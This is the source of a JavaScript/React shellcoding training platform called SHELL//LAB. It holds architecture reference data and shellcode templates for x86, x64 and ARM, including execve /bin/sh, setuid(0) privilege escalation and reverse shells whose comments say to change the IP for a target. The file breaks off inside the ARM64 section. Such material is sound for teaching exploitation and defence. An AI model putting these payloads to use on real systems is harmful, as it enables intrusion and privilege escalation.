const { useState, useEffect, useRef, useCallback, useMemo } = React; // ═══════════════════════════════════════════════════════════════ // SHELL//LAB — Assembly Language & Shellcoding Platform // Kulprit Studios LLC // ═══════════════════════════════════════════════════════════════ // ── Architecture Definitions ── const ARCHS = { x86: { name: "x86 (IA-32)", bits: 32, color: "#00d4ff", registers: ["eax","ebx","ecx","edx","esi","edi","esp","ebp","eip","eflags"], gpr: ["eax","ebx","ecx","edx","esi","edi"], special: { sp: "esp", bp: "ebp", ip: "eip", flags: "eflags" }, callingConv: "cdecl — args pushed right-to-left on stack. Caller cleans stack. Return in EAX.", syscallMethod: "int 0x80", syscallReg: "eax", syscallArgs: ["ebx","ecx","edx","esi","edi","ebp"], endian: "Little", addressSize: "4 bytes", syscalls: { 1: { name: "sys_exit", args: ["int status"] }, 2: { name: "sys_fork", args: [] }, 3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] }, 4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] }, 5: { name: "sys_open", args: ["char *filename","int flags","int mode"] }, 6: { name: "sys_close", args: ["uint fd"] }, 11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] }, 12: { name: "sys_chdir", args: ["char *path"] }, 20: { name: "sys_getpid", args: [] }, 23: { name: "sys_setuid", args: ["uid_t uid"] }, 33: { name: "sys_access", args: ["char *filename","int mode"] }, 37: { name: "sys_kill", args: ["pid_t pid","int sig"] }, 45: { name: "sys_brk", args: ["unsigned long brk"] }, 54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] }, 63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] }, 66: { name: "sys_setsid", args: [] }, 90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] }, 91: { name: "sys_munmap", args: ["void *addr","size_t len"] }, 102: { name: "sys_socketcall", args: ["int call","unsigned long *args"] }, 120: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] }, 125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] }, 162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] }, 175: { name: "sys_rt_sigprocmask", args: ["int how","sigset_t *set","sigset_t *oset"] }, 252: { name: "sys_exit_group", args: ["int status"] }, 359: { name: "sys_socket", args: ["int domain","int type","int protocol"] }, 361: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 362: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 363: { name: "sys_listen", args: ["int fd","int backlog"] }, 364: { name: "sys_accept4", args: ["int fd","struct sockaddr *addr","int *addrlen","int flags"] }, }, instructions: { "Data Movement": [ { op: "mov", syn: "mov dst, src", desc: "Copy src to dst", ex: "mov eax, 0x1" }, { op: "push", syn: "push src", desc: "Push onto stack, ESP -= 4", ex: "push ebp" }, { op: "pop", syn: "pop dst", desc: "Pop from stack, ESP += 4", ex: "pop ebp" }, { op: "lea", syn: "lea dst, [addr]", desc: "Load effective address (no memory access)", ex: "lea eax, [ebx+ecx*4]" }, { op: "xchg", syn: "xchg a, b", desc: "Swap values", ex: "xchg eax, ebx" }, { op: "movzx", syn: "movzx dst, src", desc: "Move with zero-extend", ex: "movzx eax, al" }, { op: "movsx", syn: "movsx dst, src", desc: "Move with sign-extend", ex: "movsx eax, al" }, ], "Arithmetic": [ { op: "add", syn: "add dst, src", desc: "dst += src, sets CF/OF/ZF/SF", ex: "add eax, 0x10" }, { op: "sub", syn: "sub dst, src", desc: "dst -= src, sets CF/OF/ZF/SF", ex: "sub esp, 0x40" }, { op: "inc", syn: "inc dst", desc: "dst += 1 (preserves CF)", ex: "inc ecx" }, { op: "dec", syn: "dec dst", desc: "dst -= 1 (preserves CF)", ex: "dec ecx" }, { op: "mul", syn: "mul src", desc: "EDX:EAX = EAX × src (unsigned)", ex: "mul ebx" }, { op: "imul", syn: "imul dst, src", desc: "Signed multiply", ex: "imul eax, ebx" }, { op: "div", syn: "div src", desc: "EAX = EDX:EAX / src, EDX = remainder", ex: "div ecx" }, { op: "neg", syn: "neg dst", desc: "Two's complement negate", ex: "neg eax" }, ], "Logic & Bitwise": [ { op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and eax, 0xFF" }, { op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or eax, 0x1" }, { op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (xor reg,reg = zero)", ex: "xor eax, eax" }, { op: "not", syn: "not dst", desc: "Bitwise NOT (one's complement)", ex: "not eax" }, { op: "shl", syn: "shl dst, cnt", desc: "Shift left (× 2^n)", ex: "shl eax, 2" }, { op: "shr", syn: "shr dst, cnt", desc: "Logical shift right (/ 2^n unsigned)", ex: "shr eax, 1" }, { op: "sar", syn: "sar dst, cnt", desc: "Arithmetic shift right (signed)", ex: "sar eax, 1" }, { op: "rol", syn: "rol dst, cnt", desc: "Rotate left", ex: "rol eax, 8" }, { op: "ror", syn: "ror dst, cnt", desc: "Rotate right", ex: "ror eax, 8" }, ], "Control Flow": [ { op: "cmp", syn: "cmp a, b", desc: "Compute a - b, set flags, discard result", ex: "cmp eax, 0" }, { op: "test", syn: "test a, b", desc: "Compute a AND b, set flags, discard result", ex: "test eax, eax" }, { op: "jmp", syn: "jmp label", desc: "Unconditional jump", ex: "jmp _start" }, { op: "je/jz", syn: "je label", desc: "Jump if ZF=1 (equal / zero)", ex: "je found" }, { op: "jne/jnz", syn: "jne label", desc: "Jump if ZF=0 (not equal)", ex: "jne loop" }, { op: "jg/jnle", syn: "jg label", desc: "Jump if greater (signed)", ex: "jg positive" }, { op: "jl/jnge", syn: "jl label", desc: "Jump if less (signed)", ex: "jl negative" }, { op: "ja/jnbe", syn: "ja label", desc: "Jump if above (unsigned)", ex: "ja higher" }, { op: "jb/jnae", syn: "jb label", desc: "Jump if below (unsigned CF=1)", ex: "jb lower" }, { op: "call", syn: "call label", desc: "Push EIP, jump to label", ex: "call myFunc" }, { op: "ret", syn: "ret", desc: "Pop EIP, return to caller", ex: "ret" }, { op: "nop", syn: "nop", desc: "No operation (0x90)", ex: "nop" }, { op: "int", syn: "int n", desc: "Software interrupt", ex: "int 0x80" }, ], "String Operations": [ { op: "rep movsb", syn: "rep movsb", desc: "Copy ECX bytes from ESI to EDI", ex: "rep movsb" }, { op: "rep stosb", syn: "rep stosb", desc: "Fill ECX bytes at EDI with AL", ex: "rep stosb" }, { op: "rep scasb", syn: "rep scasb", desc: "Scan ECX bytes at EDI for AL", ex: "repne scasb" }, ], }, shellcodeTemplates: { "exit(0)": { asm: `; exit(0) — x86 Linux ; sys_exit = 1 xor eax, eax ; zero eax (avoid null bytes) xor ebx, ebx ; status = 0 mov al, 0x1 ; syscall number int 0x80 ; invoke kernel`, bytes: "31 c0 31 db b0 01 cd 80", desc: "Clean process exit. XOR zeroing avoids null bytes in the opcode stream.", nullFree: true, }, "write(1, msg, len)": { asm: `; write(1, "SHELL//LAB\\n", 11) — x86 Linux ; sys_write = 4 jmp short _call _shellcode: pop ecx ; ECX = address of string (from stack) xor eax, eax mov al, 0x4 ; sys_write xor ebx, ebx mov bl, 0x1 ; fd = stdout xor edx, edx mov dl, 0xb ; len = 11 int 0x80 ; write() xor eax, eax mov al, 0x1 ; sys_exit xor ebx, ebx int 0x80 _call: call _shellcode db "SHELL//LAB", 0x0a`, bytes: "eb 15 59 31 c0 b0 04 31 db b3 01 31 d2 b2 0b cd 80 31 c0 b0 01 31 db cd 80 e8 e6 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a", desc: "JMP-CALL-POP technique to get string address without hardcoding. Position-independent.", nullFree: true, }, "execve(/bin/sh)": { asm: `; execve("/bin//sh", NULL, NULL) — x86 Linux ; sys_execve = 11 (0x0b) xor eax, eax ; zero eax push eax ; null terminator on stack push 0x68732f2f ; "//sh" (extra / avoids null in push) push 0x6e69622f ; "/bin" mov ebx, esp ; EBX = pointer to "/bin//sh\\0" xor ecx, ecx ; argv = NULL xor edx, edx ; envp = NULL mov al, 0xb ; sys_execve int 0x80`, bytes: "31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80", desc: "Classic Linux shellcode. Double-slash trick (/bin//sh) avoids null bytes while remaining valid path.", nullFree: true, }, "setuid(0) + execve": { asm: `; setuid(0) + execve("/bin//sh") — x86 Linux ; Escalate to root then spawn shell xor eax, eax mov al, 0x17 ; sys_setuid (23) xor ebx, ebx ; uid = 0 (root) int 0x80 ; setuid(0) ; Now execve xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80`, bytes: "31 c0 b0 17 31 db cd 80 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80", desc: "Drops to root before spawning shell. Useful when exploiting SUID binaries.", nullFree: true, }, "reverse shell": { asm: `; TCP Reverse Shell — x86 Linux ; Connects back to 127.0.0.1:4444 ; Uses socketcall() multiplexer ; 1. socket(AF_INET, SOCK_STREAM, 0) xor eax, eax xor ebx, ebx push eax ; protocol = 0 push 0x1 ; SOCK_STREAM push 0x2 ; AF_INET mov ecx, esp ; args array mov bl, 0x1 ; SYS_SOCKET mov al, 0x66 ; sys_socketcall int 0x80 mov esi, eax ; save sockfd ; 2. connect(sockfd, &addr, 16) xor eax, eax push eax ; padding push 0x0100007f ; 127.0.0.1 (change for target) push word 0x5c11 ; port 4444 (0x115c) push word 0x2 ; AF_INET mov ecx, esp ; sockaddr_in struct push 0x10 ; addrlen = 16 push ecx ; &addr push esi ; sockfd mov ecx, esp mov bl, 0x3 ; SYS_CONNECT mov al, 0x66 int 0x80 ; 3. dup2(sockfd, 0/1/2) xor ecx, ecx mov cl, 0x2 _dup_loop: mov al, 0x3f ; sys_dup2 mov ebx, esi ; sockfd int 0x80 dec cl jns _dup_loop ; 4. execve("/bin//sh") xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80`, bytes: "31 c0 31 db 50 6a 01 6a 02 89 e1 b3 01 b0 66 cd 80 89 c6 ...", desc: "Full TCP reverse shell. Connects back, redirects stdin/stdout/stderr, execves /bin/sh. Modify IP/port for deployment.", nullFree: false, }, }, }, x64: { name: "x86-64 (AMD64)", bits: 64, color: "#ff6b35", registers: ["rax","rbx","rcx","rdx","rsi","rdi","rsp","rbp","rip","rflags","r8","r9","r10","r11","r12","r13","r14","r15"], gpr: ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"], special: { sp: "rsp", bp: "rbp", ip: "rip", flags: "rflags" }, callingConv: "System V AMD64 — args in RDI, RSI, RDX, RCX, R8, R9. Return in RAX. Caller saves RAX, RCX, RDX, RSI, RDI, R8-R11.", syscallMethod: "syscall", syscallReg: "rax", syscallArgs: ["rdi","rsi","rdx","r10","r8","r9"], endian: "Little", addressSize: "8 bytes", syscalls: { 0: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] }, 1: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] }, 2: { name: "sys_open", args: ["char *filename","int flags","int mode"] }, 3: { name: "sys_close", args: ["uint fd"] }, 9: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] }, 10: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] }, 11: { name: "sys_munmap", args: ["void *addr","size_t len"] }, 21: { name: "sys_access", args: ["char *filename","int mode"] }, 32: { name: "sys_dup", args: ["uint fd"] }, 33: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] }, 35: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] }, 39: { name: "sys_getpid", args: [] }, 41: { name: "sys_socket", args: ["int domain","int type","int protocol"] }, 42: { name: "sys_connect", args: ["int fd","struct sockaddr *","int addrlen"] }, 43: { name: "sys_accept", args: ["int fd","struct sockaddr *","int *addrlen"] }, 49: { name: "sys_bind", args: ["int fd","struct sockaddr *","int addrlen"] }, 50: { name: "sys_listen", args: ["int fd","int backlog"] }, 56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] }, 57: { name: "sys_fork", args: [] }, 59: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] }, 60: { name: "sys_exit", args: ["int status"] }, 62: { name: "sys_kill", args: ["pid_t pid","int sig"] }, 80: { name: "sys_chdir", args: ["char *path"] }, 82: { name: "sys_rename", args: ["char *oldname","char *newname"] }, 87: { name: "sys_unlink", args: ["char *pathname"] }, 96: { name: "sys_gettimeofday", args: ["struct timeval *tv","struct timezone *tz"] }, 102: { name: "sys_getuid", args: [] }, 105: { name: "sys_setuid", args: ["uid_t uid"] }, 112: { name: "sys_setsid", args: [] }, 157: { name: "sys_prctl", args: ["int option","unsigned long arg2","..."] }, 231: { name: "sys_exit_group", args: ["int status"] }, 257: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] }, 288: { name: "sys_accept4", args: ["int fd","struct sockaddr *","int *addrlen","int flags"] }, 322: { name: "sys_execveat", args: ["int dfd","char *filename","char **argv","char **envp","int flags"] }, }, instructions: { "Data Movement": [ { op: "mov", syn: "mov dst, src", desc: "Copy src to dst (REX prefix for 64-bit)", ex: "mov rax, 0x1" }, { op: "push", syn: "push src", desc: "Push onto stack, RSP -= 8", ex: "push rbp" }, { op: "pop", syn: "pop dst", desc: "Pop from stack, RSP += 8", ex: "pop rbp" }, { op: "lea", syn: "lea dst, [addr]", desc: "Load effective address", ex: "lea rdi, [rip+msg]" }, { op: "movabs", syn: "movabs rax, imm64", desc: "Load 64-bit immediate", ex: "movabs rax, 0xdeadbeefcafebabe" }, { op: "cdqe", syn: "cdqe", desc: "Sign-extend EAX to RAX", ex: "cdqe" }, { op: "cqo", syn: "cqo", desc: "Sign-extend RAX to RDX:RAX", ex: "cqo" }, ], "Arithmetic": [ { op: "add", syn: "add dst, src", desc: "dst += src", ex: "add rax, 0x10" }, { op: "sub", syn: "sub dst, src", desc: "dst -= src", ex: "sub rsp, 0x40" }, { op: "imul", syn: "imul dst, src, imm", desc: "Three-operand signed multiply", ex: "imul rax, rbx, 8" }, { op: "inc/dec", syn: "inc dst", desc: "Increment/decrement (no REX.W single-byte)", ex: "inc rcx" }, ], "Logic & Bitwise": [ { op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and rax, 0xFF" }, { op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or rdi, rdi" }, { op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (zeroing idiom)", ex: "xor rax, rax" }, { op: "shl/shr/sar", syn: "shl dst, cnt", desc: "Shift operations", ex: "shl rdi, 3" }, { op: "bsf/bsr", syn: "bsf dst, src", desc: "Bit scan forward/reverse", ex: "bsf rax, rbx" }, { op: "popcnt", syn: "popcnt dst, src", desc: "Count set bits", ex: "popcnt rax, rbx" }, ], "Control Flow": [ { op: "cmp", syn: "cmp a, b", desc: "Compare (sets flags)", ex: "cmp rax, 0" }, { op: "test", syn: "test a, b", desc: "AND test (sets flags)", ex: "test rdi, rdi" }, { op: "jmp/jcc", syn: "je/jne/jg/jl label", desc: "Conditional jumps", ex: "je done" }, { op: "call", syn: "call label", desc: "Push RIP, jump", ex: "call func" }, { op: "ret", syn: "ret", desc: "Pop RIP", ex: "ret" }, { op: "syscall", syn: "syscall", desc: "64-bit system call (fast)", ex: "syscall" }, { op: "cmovcc", syn: "cmove dst, src", desc: "Conditional move (branchless)", ex: "cmovz rax, rbx" }, ], "SSE/Memory": [ { op: "movdqa", syn: "movdqa xmm, m128", desc: "Move aligned 128-bit", ex: "movdqa xmm0, [rsp]" }, { op: "movdqu", syn: "movdqu xmm, m128", desc: "Move unaligned 128-bit", ex: "movdqu xmm1, [rdi]" }, { op: "pxor", syn: "pxor xmm, xmm", desc: "XOR 128-bit (zero XMM)", ex: "pxor xmm0, xmm0" }, ], }, shellcodeTemplates: { "exit(0)": { asm: `; exit(0) — x86-64 Linux ; sys_exit = 60 xor rdi, rdi ; status = 0 push 60 pop rax ; sys_exit (avoids null in mov rax, 60) syscall`, bytes: "48 31 ff 6a 3c 58 0f 05", desc: "8 bytes. push/pop trick avoids the REX.W prefix overhead of mov rax, 60.", nullFree: true, }, "write(1, msg, len)": { asm: `; write(1, "SHELL//LAB\\n", 11) — x86-64 Linux ; sys_write = 1 jmp short _call _shellcode: pop rsi ; RSI = address of string xor rax, rax mov al, 0x1 ; sys_write mov rdi, rax ; fd = 1 (stdout) xor rdx, rdx mov dl, 0xb ; len = 11 syscall xor rax, rax mov al, 60 ; sys_exit xor rdi, rdi syscall _call: call _shellcode db "SHELL//LAB", 0x0a`, bytes: "eb 1a 5e 48 31 c0 b0 01 48 89 c7 48 31 d2 b2 0b 0f 05 48 31 c0 b0 3c 48 31 ff 0f 05 e8 e1 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a", desc: "JMP-CALL-POP for x64. Note REX.W prefixes (0x48) on 64-bit register operations.", nullFree: true, }, "execve(/bin/sh)": { asm: `; execve("/bin/sh", NULL, NULL) — x86-64 Linux ; sys_execve = 59 xor rsi, rsi ; argv = NULL push rsi ; null terminator mov rdi, 0x68732f6e69622f ; "/bin/sh" in little-endian push rdi mov rdi, rsp ; RDI = pointer to "/bin/sh\\0" xor rdx, rdx ; envp = NULL push 59 pop rax ; sys_execve syscall`, bytes: "48 31 f6 56 48 bf 2f 62 69 6e 2f 73 68 00 57 48 89 e7 48 31 d2 6a 3b 58 0f 05", desc: "Note: movabs has a null byte in the '/bin/sh' string. See null-free variant below for exploit use.", nullFree: false, }, "execve (null-free)": { asm: `; execve("/bin//sh", NULL, NULL) — x86-64 null-free xor rsi, rsi mul rsi ; RAX=RDX=0 push rax ; null terminator mov rbx, 0x68732f2f6e69622f ; "/bin//sh" push rbx mov rdi, rsp mov al, 59 ; sys_execve syscall`, bytes: "48 31 f6 48 f7 e6 50 48 bb 2f 62 69 6e 2f 2f 73 68 53 48 89 e7 b0 3b 0f 05", desc: "Null-free variant using mul for triple-zero and double-slash path trick. 24 bytes.", nullFree: true, }, "reverse shell": { asm: `; TCP Reverse Shell — x86-64 Linux ; Connects to 127.0.0.1:4444 ; socket(AF_INET, SOCK_STREAM, 0) push 41 pop rax ; sys_socket push 2 pop rdi ; AF_INET push 1 pop rsi ; SOCK_STREAM xor rdx, rdx ; protocol = 0 syscall mov r12, rax ; save sockfd ; connect(sockfd, &addr, 16) xor rax, rax push rax ; padding mov dword [rsp-4], 0x0100007f ; 127.0.0.1 mov word [rsp-6], 0x5c11 ; port 4444 mov word [rsp-8], 0x2 ; AF_INET sub rsp, 8 mov rsi, rsp ; &sockaddr push 42 pop rax ; sys_connect mov rdi, r12 ; sockfd push 16 pop rdx ; addrlen syscall ; dup2(sockfd, 0/1/2) push 2 pop rsi _dup_loop: push 33 pop rax ; sys_dup2 mov rdi, r12 syscall dec rsi jns _dup_loop ; execve("/bin//sh", NULL, NULL) xor rsi, rsi mul rsi push rax mov rbx, 0x68732f2f6e69622f push rbx mov rdi, rsp mov al, 59 syscall`, bytes: "6a 29 58 6a 02 5f 6a 01 5e 48 31 d2 0f 05 49 89 c4 ...", desc: "Full reverse shell. Modify IP at offset for target. Uses push/pop to avoid null bytes in syscall numbers.", nullFree: false, }, }, }, arm32: { name: "ARM (AArch32)", bits: 32, color: "#39ff14", registers: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12","sp","lr","pc","cpsr"], gpr: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12"], special: { sp: "sp (r13)", bp: "r11 (fp)", ip: "pc (r15)", flags: "cpsr" }, callingConv: "AAPCS — args in R0-R3. Return in R0. R4-R11 callee-saved. LR (R14) = return address.", syscallMethod: "svc #0", syscallReg: "r7", syscallArgs: ["r0","r1","r2","r3","r4","r5"], endian: "Bi-endian (usually Little)", addressSize: "4 bytes", syscalls: { 1: { name: "sys_exit", args: ["int status"] }, 2: { name: "sys_fork", args: [] }, 3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] }, 4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] }, 5: { name: "sys_open", args: ["char *filename","int flags","int mode"] }, 6: { name: "sys_close", args: ["uint fd"] }, 11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] }, 20: { name: "sys_getpid", args: [] }, 23: { name: "sys_setuid", args: ["uid_t uid"] }, 37: { name: "sys_kill", args: ["pid_t pid","int sig"] }, 45: { name: "sys_brk", args: ["unsigned long brk"] }, 54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] }, 63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] }, 66: { name: "sys_setsid", args: [] }, 90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] }, 125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] }, 162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] }, 248: { name: "sys_exit_group", args: ["int status"] }, 281: { name: "sys_socket", args: ["int domain","int type","int protocol"] }, 282: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 283: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 284: { name: "sys_listen", args: ["int fd","int backlog"] }, 285: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] }, }, instructions: { "Data Processing": [ { op: "mov", syn: "mov Rd, Op2", desc: "Move (can use barrel shifter)", ex: "mov r0, #0" }, { op: "mvn", syn: "mvn Rd, Op2", desc: "Move NOT (bitwise invert)", ex: "mvn r0, #0 ; r0 = 0xFFFFFFFF" }, { op: "add", syn: "add Rd, Rn, Op2", desc: "Add (3-operand form)", ex: "add r0, r1, r2" }, { op: "adc", syn: "adc Rd, Rn, Op2", desc: "Add with carry", ex: "adc r1, r1, #0" }, { op: "sub", syn: "sub Rd, Rn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" }, { op: "rsb", syn: "rsb Rd, Rn, Op2", desc: "Reverse subtract (Op2 - Rn)", ex: "rsb r0, r0, #0 ; negate" }, { op: "mul", syn: "mul Rd, Rn, Rm", desc: "Multiply (32-bit result)", ex: "mul r0, r1, r2" }, { op: "cmp", syn: "cmp Rn, Op2", desc: "Compare (sets flags, no result)", ex: "cmp r0, #0" }, { op: "cmn", syn: "cmn Rn, Op2", desc: "Compare negative (Rn + Op2)", ex: "cmn r0, #1" }, { op: "tst", syn: "tst Rn, Op2", desc: "Test bits (AND, sets flags)", ex: "tst r0, #1" }, { op: "and", syn: "and Rd, Rn, Op2", desc: "Bitwise AND", ex: "and r0, r0, #0xFF" }, { op: "orr", syn: "orr Rd, Rn, Op2", desc: "Bitwise OR", ex: "orr r0, r0, #0x80" }, { op: "eor", syn: "eor Rd, Rn, Op2", desc: "Bitwise XOR", ex: "eor r0, r0, r0 ; zero" }, { op: "bic", syn: "bic Rd, Rn, Op2", desc: "Bit clear (AND NOT)", ex: "bic r0, r0, #0xF" }, ], "Barrel Shifter": [ { op: "lsl", syn: "mov Rd, Rn, lsl #n", desc: "Logical shift left", ex: "mov r0, r1, lsl #2 ; r0 = r1*4" }, { op: "lsr", syn: "mov Rd, Rn, lsr #n", desc: "Logical shift right (unsigned)", ex: "mov r0, r1, lsr #3" }, { op: "asr", syn: "mov Rd, Rn, asr #n", desc: "Arithmetic shift right (signed)", ex: "mov r0, r1, asr #1 ; divide by 2" }, { op: "ror", syn: "mov Rd, Rn, ror #n", desc: "Rotate right", ex: "mov r0, r0, ror #8" }, { op: "rrx", syn: "mov Rd, Rn, rrx", desc: "Rotate right through carry (1 bit)", ex: "mov r0, r0, rrx" }, { op: "Op2 shift", syn: "add Rd, Rn, Rm, lsl #n", desc: "Any data op can shift its 2nd operand", ex: "add r0, r0, r1, lsl #2 ; r0 += r1*4" }, ], "Memory": [ { op: "ldr", syn: "ldr Rd, [Rn, #off]", desc: "Load register (word)", ex: "ldr r0, [sp, #4]" }, { op: "str", syn: "str Rd, [Rn, #off]", desc: "Store register (word)", ex: "str r0, [sp]" }, { op: "ldrb/strb", syn: "ldrb Rd, [Rn]", desc: "Load/store byte", ex: "ldrb r1, [r0]" }, { op: "ldrh/strh", syn: "ldrh Rd, [Rn]", desc: "Load/store halfword (16-bit)", ex: "ldrh r0, [r1, #2]" }, { op: "ldm/stm", syn: "ldmia Rn!, {regs}", desc: "Load/store multiple (IA/IB/DA/DB)", ex: "ldmia sp!, {r4-r11, pc}" }, { op: "push/pop", syn: "push {regs}", desc: "Stack push/pop (STMDB/LDMIA sp! aliases)", ex: "push {r4-r7, lr}" }, { op: "ldr Rd, =imm", syn: "ldr r0, =0x12345678", desc: "Pseudo-instruction: load any 32-bit constant from literal pool", ex: "ldr r0, =0xDEADBEEF" }, { op: "adr", syn: "adr Rd, label", desc: "PC-relative address (limited range)", ex: "adr r0, string_data" }, ], "Branch": [ { op: "b", syn: "b label", desc: "Branch (±32MB range)", ex: "b loop" }, { op: "bl", syn: "bl label", desc: "Branch with link (saves PC to LR)", ex: "bl printf" }, { op: "bx", syn: "bx Rn", desc: "Branch exchange — bit[0] selects ARM(0) or Thumb(1)", ex: "bx lr" }, { op: "blx", syn: "blx Rn", desc: "Branch with link and exchange", ex: "blx r3" }, { op: "b.cond", syn: "beq/bne/bgt/blt/bge/ble/bhi/bls/bcs/bcc label", desc: "Conditional branch (14 conditions)", ex: "bne loop" }, { op: "svc", syn: "svc #imm", desc: "Supervisor call — triggers syscall", ex: "svc #0" }, ], "Conditional & Thumb": [ { op: "{cond}", syn: "moveq r0, #1", desc: "Any ARM instruction can be conditional (EQ/NE/GT/LT/GE/LE/HI/LS/CS/CC/MI/PL/VS/VC/AL)", ex: "addne r0, r0, #1" }, { op: "it/ite", syn: "ite eq", desc: "If-Then block for Thumb-2 conditional execution", ex: "ite eq; moveq r0,#1; movne r0,#0" }, { op: ".thumb", syn: ".thumb", desc: "Assembler directive: emit Thumb (16-bit) instructions", ex: ".syntax unified\\n.thumb" }, { op: "adds/subs", syn: "adds Rd, Rn, #imm3", desc: "Thumb narrow ALU ops (set flags, small imm only)", ex: "adds r0, #1" }, ], }, shellcodeTemplates: { "exit(0)": { asm: `; exit(0) — ARM32 mov r0, #0 ; status = 0 mov r7, #1 ; sys_exit svc #0`, bytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef", desc: "Minimal ARM32 exit. 12 bytes. Note: ARM 32-bit fixed encoding naturally contains 0x00 bytes — Thumb mode avoids this.", nullFree: false, }, "write(1, msg, len)": { asm: `; write(1, "SHELL//LAB", 10) — ARM32 mov r0, #1 ; fd = stdout adr r1, msg ; buf = pointer to string mov r2, #10 ; count = 10 mov r7, #4 ; sys_write svc #0 mov r0, #0 ; status = 0 mov r7, #1 ; sys_exit svc #0 msg: .ascii "SHELL//LAB"`, bytes: "01 00 a0 e3 10 10 8f e2 0a 20 a0 e3 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 00 00 00 ef 53 48 45 4c 4c 2f 2f 4c 41 42", desc: "ARM32 write syscall with embedded string data. Uses ADR (PC-relative) for string address.", nullFree: false, }, "execve(/bin/sh) Thumb": { asm: `.syntax unified .thumb ; execve("/bin/sh", NULL, NULL) — ARM Thumb ; Thumb mode avoids null bytes in ARM encoding mov r0, pc ; R0 = current PC adds r0, #12 ; point past code to string eor r1, r1, r1 ; argv = NULL eor r2, r2, r2 ; envp = NULL mov r7, #11 ; sys_execve svc #1 ; supervisor call .ascii "/bin/sh"`, bytes: "78 46 08 30 49 40 52 40 07 27 01 df 2f 62 69 6e 2f 73 68", desc: "Thumb mode shellcode — 16-bit instructions avoid null bytes common in 32-bit ARM encoding.", nullFree: true, }, "setuid(0)+execve": { asm: `.syntax unified .thumb ; setuid(0) + execve("/bin/sh") — ARM Thumb eor r0, r0, r0 ; uid = 0 mov r7, #23 ; sys_setuid svc #1 mov r0, pc ; R0 = PC adds r0, #12 ; point to string eor r1, r1, r1 ; argv = NULL eor r2, r2, r2 ; envp = NULL mov r7, #11 ; sys_execve svc #1 .ascii "/bin/sh"`, bytes: "40 40 17 27 01 df 78 46 08 30 49 40 52 40 0b 27 01 df 2f 62 69 6e 2f 73 68", desc: "Privilege escalation: drops to root with setuid(0) before spawning shell. Thumb mode for null-free encoding.", nullFree: true, }, "reverse shell": { asm: `; Reverse shell — ARM32 (connect-back) ; socket(AF_INET, SOCK_STREAM, 0) mov r0, #2 ; AF_INET mov r1, #1 ; SOCK_STREAM eor r2, r2, r2 ; protocol = 0 mov r7, #125 ; __NR_socket (via socketcall on older, direct on newer) add r7, #156 ; 281 = __NR_socket svc #0 mov r6, r0 ; save socket fd ; dup2(fd, 0/1/2) — redirect stdio mov r1, #2 ; start with stderr dup_loop: mov r0, r6 ; fd = socket mov r7, #63 ; sys_dup2 svc #0 subs r1, r1, #1 bpl dup_loop ; connect(fd, &addr, 16) ; execve("/bin/sh", NULL, NULL) mov r0, r6 eor r1, r1, r1 eor r2, r2, r2 mov r7, #11 ; sys_execve svc #0`, bytes: "02 00 a0 e3 01 10 a0 e3 02 20 22 e0 7d 70 a0 e3 9c 70 87 e2 00 00 00 ef 00 60 a0 e1", desc: "ARM32 reverse shell skeleton — socket, dup2 loop, execve. Needs connect() with sockaddr_in filled in for target IP:port.", nullFree: false, }, }, }, arm64: { name: "AArch64 (ARM64)", bits: 64, color: "#c792ea", registers: ["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15","x16","x17","x18","x19","x20","x21","x22","x23","x24","x25","x26","x27","x28","x29","x30","sp","pc"], gpr: 